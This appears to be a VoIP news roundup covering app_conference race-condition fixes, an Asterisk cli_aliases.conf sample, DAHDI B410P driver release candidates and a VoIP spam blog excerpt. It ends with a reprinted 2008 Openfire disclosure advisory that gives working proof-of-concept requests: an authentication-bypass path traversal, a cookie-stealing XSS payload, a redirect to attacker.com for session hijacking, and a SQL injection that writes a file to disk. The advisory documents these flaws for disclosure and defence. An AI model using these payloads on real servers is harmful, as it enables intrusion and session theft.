Pete Grayson has posted details of a number of bug fixes for app_conference:

Hi all,

This is long overdue, but I have finally merged my local changes to app_conference into the upstream sourceforge subversion repository.
These changes went into branches/team/pete/fixes

Here is the revision log.

What is this?

There are a number of long standing concurrency issues in app_conference. These race conditions lead to both deadlock and crashes. About six months ago, I did a massive overhaul of app_conference's code. I specifically targeted these race conditions, but also made a large number of collateral cleanups. This code has been running in production environments very successfully for the past 6 months and thus qualifies as fully-baked and generally safe for production.

I apologize immensely for merging this in as one giant changeset. The delta is huge and not very readable, but I simply do not have the time to reproduce the approximately 300 local changesets in the sourceforge repository.

I would like to get this code onto the trunk, but first people should give the code on this branch a try. I think you'll find it considerably more stable than the trunk.

Thanks,
Pete

mvanbaak has committed a change to the trunk version of Asterisk which allows for it to perform like older versions of Asterisk did so that you can type the same commands on different versions of Asterisk you work with.

The diff is available from here.

The cli_aliases.conf file will contain by default:

;
; CLI Aliases configuration
;
; This module also registers a "cli show aliases" CLI command to list
; configured CLI aliases.

[general]
; Here you define what alias templates you want to use. You can also define
; multiple templates to use as well. If you do, and there is a conflict, then
; the first alias defined will win.
;
template = friendly ; By default, include friendly aliases
;template = asterisk12 ; Asterisk 1.2 style syntax
;template = asterisk14 ; Asterisk 1.4 style syntax
;template = individual_custom ; see [individual_custom] example below which
; includes a list of aliases from an external
; file


; Because the Asterisk CLI syntax follows a "module verb argument" syntax,
; sometimes we run into an issue between being consistant with this format
; in the core system, and maintaining system friendliness. In order to get
; around this we're providing some useful aliases by default.
;
[friendly]
hangup request=channel request hangup
originate=channel originate
help=core show help
pri intense debug span=pri set debug 2 span

; CLI Alias Templates
; -------------------
;
; You can define several alias templates.
; It works with context templates like all other configuration files
;
;[asterisk](!)
; To create an alias you simply set the variable name as the alias and variable
; value as the real CLI command you want executed
;
;die die die=stop now

;[asterisk16](asterisk)
; Alias for making voicemail reload actually do module reload app_voicemail.so
;voicemail reload=module reload app_voicemail.so
; This will make the CLI command "mr" behave as though it is "module reload".
;mr=module reload
;
;
; In addition, you could also include a flat file of aliases which is loaded by
; the [individual_custom] template in the [general] section.
;
;[individual_custom]
;#include "/etc/asterisk/aliases"

; Implemented CLI Alias Templates
; -------------------------------
;
; Below here we have provided you with some templates, easily allowing you to
; utilize previous Asterisk CLI commands with any version of Asterisk. In this
; way you will be able to use Asterisk 1.2 and 1.4 style CLI syntax with any
; version Asterisk going forward into the future.
;
; We have also separated out the vanilla syntax into a context template which
; allows you to keep your custom changes separate of the standard templates
; we have provided you. In this way you can clearly see your custom changes,
; and also allowing you to combine various templates as you see fit.
;
; The naming scheme we have used is recommended, but certainly is not enforced
; by Asterisk. If you wish to use the provided templates, simply define the
; context name which does not utilize the '_tpl' at the end. For example,
; if you would like to use the Asterisk 1.2 style syntax, define in the
; [general] section

[asterisk12_tpl](!)
show channeltypes=core show channeltypes
show channeltype=core show channeltype
show manager command=manager show command
show manager commands=manager show commands
show manager connected=manager show connected
show manager eventq=manager show eventq
rtp no debug=rtp set debug off
rtp rtcp debug ip=rtcp debug ip
rtp rtcp debug=rtcp debug
rtp rtcp no debug=rtcp debug off
rtp rtcp stats=rtcp stats
rtp rtcp no stats=rtcp stats off
stun no debug=stun debug off
udptl no debug=udptl debug off
show image formats=core show image formats
show file formats=core show file formats
show applications=core show applications
show functions=core show functions
show switches=core show switches
show hints=core show hints
show globals=core show globals
show function=core show function
show application=core show application
set global=core set global
show dialplan=dialplan show
show codecs=core show codecs
show audio codecs=core show audio codecs
show video codecs=core show video codecs
show image codecs=core show image codecs
show codec=core show codec
moh classes show=moh show classes
moh files show=moh show files
agi no debug=agi debug off
show agi=agi show
dump agihtml=agi dumphtml
show features=feature show
show indications=indication show
answer=console answer
hangup=console hangup
flash=console flash
dial=console dial
mute=console mute
unmute=console unmute
transfer=console transfer
send text=console send text
autoanswer=console autoanswer
oss boost=console boost
console=console active
save dialplan=dialplan save
add extension=dialplan add extension
remove extension=dialplan remove extension
add ignorepat=dialplan add ignorepat
remove ignorepat=dialplan remove ignorepat
include context=dialplan add include
dont include=dialplan remove include
extensions reload=dialplan reload
show translation=core show translation
convert=file convert
show queue=queue show
add queue member=queue add member
remove queue member=queue remove member
ael no debug=ael nodebug
sip debug=sip set debug
sip no debug=sip set debug off
show voicemail users=voicemail show users
show voicemail zones=voicemail show zones
iax2 trunk debug=iax2 set debug trunk
iax2 jb debug=iax2 set debug jb
iax2 no debug=iax2 set debug off
iax2 no trunk debug=iax2 set debug trunk off
iax2 no jb debug=iax2 set debug jb off
show agents=agent show
show agents online=agent show online
show memory allocations=memory show allocations
show memory summary=memory show summary
show version=core show version
show version files=core show file version
show profile=core show profile
clear profile=core clear profile

[asterisk12](asterisk12_tpl)
; add any additional custom commands you want below here, for example:
;die quickly=stop now

[asterisk14_tpl](!)
cdr status=cdr show status
rtp debug=rtp set debug on
rtcp debug=rtcp set debug on
rtcp stats=rtcp set stats on
stun debug=stun set debug on
udptl debug=udptl set debug on
core show globals=dialplan show globals
core set global=dialplan set global
core set chanvar=dialplan set chanvar
agi dumphtml=agi dump html
ael debug=ael set debug
funcdevstate list=devstate list
sip history=sip set history on
skinny debug=skinny set debug on
mgcp set debug=mgcp set debug on
abort shutdown=core abort shutdown
stop now=core stop now
stop gracefully=core stop gracefully
stop when convenient=core stop when convenient
restart now=core restart now
restart gracefully=core restart gracefully
restart when convenient=core restart when convenient

[asterisk14](asterisk14_tpl)
; add any additional custom commands you want below here.

Awesome news for those of you that use the Digium B410P card. There are now direct drivers for it in DAHDI. These need testing and are part of the newest release:

There are new release candidates for dahdi-linux (2.1.0-rc3), dahdi-tools (2.1.0-rc3), and dahdi-linux-complete (2.1.0-rc3+2.1.0-rc3, a combination of dahdi-linux and dahdi-tools in one package) that contain a new DAHDI driver for the B410P Quad-Port BRI card.

http://www.digium.com/en/products/digital/b410p.php

If you are a user of the B410P card, and are able, please test these release candidates in your environment. To test you will need version 1.4.4 or greater of libpri and version 1.6.0 or greater of Asterisk.

You can download the dahdi-linux-complete release candidate

or via svn from:
http://svn.digium.com/svn/dahdi/linux-complete/tags/2.1.0-rc3+2.1.0-rc3

The file system.conf.sample in dahdi-tools contains notes about configuring
DAHDI for the BRI card.

The ChangeLogs with all the changes for these releases are at:
dahdi/linux/tags/2.1.0-rc3/ChangeLog
and
dahdi/tools/tags/2.1.0-rc3/ChangeLog

Many Thanks,

Shaun Ruffell

John Todd has posted to the Asterisk Blog with his musings on the topic of VoIP spam.

Excerpt from the article:

The topic of VoIP spam comes up every few months, and how to use Asterisk to combat the incessant and annoying stream of telemarketers who (despite my addition to the do-not-call list) continue to call my various phone numbers with "auto warranty" offers, "who's who" directory sales pitches, or other suitably vague and sleazy offers. This year has been particularly bad, with political campaigns calling my line sometimes four or five times in an evening. I'd not call this VoIP spam (or SPIT, or vSPAM, or whatever you want to call it) at this point - it's just the same old telemarketing junk that is coming in over the PSTN and happens to be delivered via VoIP to my telephony devices by virtue of my connection to an ITSP. Asterisk can help with this, but can it do more?

Andreas Kurtz has posted details of multiple vulnerabilities in the Openfire Jabber server including Authentication Bypass and SQL injection:

Please find attached a detailed advisory of the vulnerability.

Alternatively, the advisory can also be found at:
AKADV2008-001-v1.0.txt

Advisory: Openfire Server Multiple Vulnerabilities
Advisory ID: AKADV2008-001
Release Date: 2008/11/07
Revision: 1.0
Last Modified: 2008/11/07
Date Reported: 2008/05/17
Author: Andreas Kurtz (mail at andreas-kurtz.de)
Affected Software: Openfire Server <= 3.6.0a
Remotely Exploitable: Yes
Risk: Critical (x) High ( ) Medium ( ) Low ( )
Vendor URL: http://www.igniterealtime.org
http://www.jivesoftware.com/
Vendor Status: No patch released yet.
Patch development time: N/A


Vulnerability description:
--------------------------

The jabber server Openfire (<= version 3.6.0a) contains several serious
vulnerabilities. Depending on the particular runtime environment these
issues can potentially even be used by an attacker to execute code
on operating system level.

1) Authentication bypass
This vulnerability provides an attacker full access to all functions in the admin webinterface without providing any user credentials. The Tomcat filter which is responsible for authentication could be completely circumvented.

2) SQL injection
It is possible to pass SQL statements to the backend database through a SQL injection vulnerability. Depending on the particular runtime environment and database permissions it is even possible to write files to disk and execute code on operating system level.

3) Multiple Cross-Site Scripting
Permits arbitrary insertion of HTML- and JavaScript code in login.jsp. An attacker could also manipulate a parameter to specify a destination to which a user will be forwarded to after successful authentication.

Technical details:
------------------

1) Authentication bypass
Authentication to the openfire admin interface is secured by a filter in the Tomcat application server (org.jivesoftware.admin.AuthCheckFilter). This filter guarantees that access to the admin interface is only granted to authenticated users. Otherwise they get redirected to a login page.

A design error in Openfire enables access to internal functions without the need for admin user credentials. The deployment descriptor (web.xml) configures some exclude values for the AuthCheckFilter:

<filter>
<filter-name>AuthCheck</filter-name>
<filter-class>org.jivesoftware.admin.AuthCheckFilter</filter-class>
<init-param>
<param-name>excludes</param-name>
<param-value>login.jsp,index.jsp?logout=true,setup/index.jsp,
setup/setup-,.gif,.png,error-serverdown.jsp</param-value>
</init-param>
</filter>

When a request URL contains one of these Exclude-Strings the auth check mechanism is totally circumvented. This was considered necessary for the initial setup process or the presence plugin. Following POC demonstrates how an attacker could access internal functions by manipulating the URL providing one of these excludes(/setup/setup-/../../):

http://www.foo.bar:9090/setup/setup-/../../log.jsp?log=info&mode=asc&lines=
All

2) SQL injection
The parameter "type" in sipark-log-summary.jsp is prone to SQL injection. Untrusted user data enters the application in sipark-log-summary.jsp (line 163):

String type = ParamUtils.getParameter(request, "type");

The function getCalls() in org.jivesoftware.openfire.sip.calllog.CallLogDAO processes this user input (SQLCondition) and constructs a SQL statement:

String sql = "SELECT * FROM sipPhoneLog";

sql = SQLCondition != null && !SQLCondition.equals("") ?
sql + " WHERE " + SQLCondition : sql;

sql += " ORDER BY datetime DESC";

That statement is executed in the method createScrollablePreparedStatement() in CallLogDAO (line 411):

return con.prepareStatement(sql);

In that case there is a SQL injection vulnerability present even though prepared statemens are used. This happens because the string sql is dynamically concatenated *before* it is passed to the prepared statement object.

3) Cross-Site Scripting
The parameter "url" in login.jsp was vulnerable to Cross-Site Scripting (XSS).
This vulnerability is the only one which was fixed within the last 6 months.

http://www.foo.bar:9090/login.jsp?url="/><script>alert(document.cookie);</script>

An attacker could also manipulate the parameter to specify a destination to which a user will be forwarded to after successful authentication:

http://www.foo.bar:9090/login.jsp?url=http://www.attacker.com/StealSession

If a user authenticates using that link it is easily possible for an attacker to hijack the users session.

Furthermore the parameter "username" in login.jsp is still vulnerable to Cross-Site Scripting attacks.


Putting it all together:
------------------------

Since the SIP-Plugin is deactivated by default, an attacker needs to install it using the authentication bypass vulnerability and the following POST request:

POST
http://www.foo.bar:9090/setup/setup-/../../dwr/exec/downloader.installPlugi
n.dwr HTTP/1.1
Host: www.foo.bar:9090

callCount=1
c0-scriptName=downloader
c0-methodName=installPlugin
c0-id=7931_1210973487852
c0-param0=string:http%3A%2F%2Fwww.igniterealtime.org%2Fprojects%2Fopenfire%
2Fplugins%2Fsip.jar
c0-param1=string:661780277
xml=true

After that activation the described SQL injection vulnerability can be used in a single unauthenticated request.
The following proof of concept uses a mysql database:

http://www.foo.bar:9090/setup/setup-/../../plugins/sip/sipark-log-summary.j
sp?
type=all'UNION%20SELECT%20'attack-code'%20INTO%20OUTFILE%20'/tmp/attack.sh'
%20/*&startDate=Any&endDate=Any&submit=true&get=Search


Solution:
---------

Since the vendor didn't release a patch within the last 6 months it is highly recommended to deactivate access to the entire admin interface. This can be achieved for example by blocking the according ports (tcp/9090 & tcp/9091 by default) with a firewall. Following communication to the admin interface can be done via SSL tunnels.

For more details see: http://www.andreas-kurtz.de/archives/63

History:
--------

2008/05/17 - Vendor notified using sales@jivesoftware.com
2008/05/18 - Vendor notified using gaston@jivesoftware.com
2008/05/20 - Vendor response
2008/05/20 - Detailed vulnerability information sent to the vendor
2008/05/21 - Vendor confirms the vulnerability
2008/08/18 - Asked vendor for up to date information regarding the reported issues
2008/10/18 - Again asked vendor for up to date information regarding the reported issues
2008/10/31 - Informed vendor of planned advisory realease on 2008/11/05 (no response)
2008/11/07 - Full technical details and recommended measures released to general public

Credits:
--------

Vulnerability found and advisory written by Andreas Kurtz.

References:
-----------

http://www.andreas-kurtz.de/archives/63

Changes:
--------

Revision 0.1 - Initial draft release to the vendor
Revision 1.0 - Final version released to general public

Disclaimer:
-----------

The information within this advisory may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are no warranties, implied or express, with regard to this information. In no event shall the author be liable for any direct or indirect damages whatsoever arising out of or in connection with the use or spread of this information. Any use of this information is at the user's own risk.

PGP Key:
--------

http://www.andreas-kurtz.de/ak-pubkey.asc

Copyright 2008 Andreas Kurtz. All rights reserved.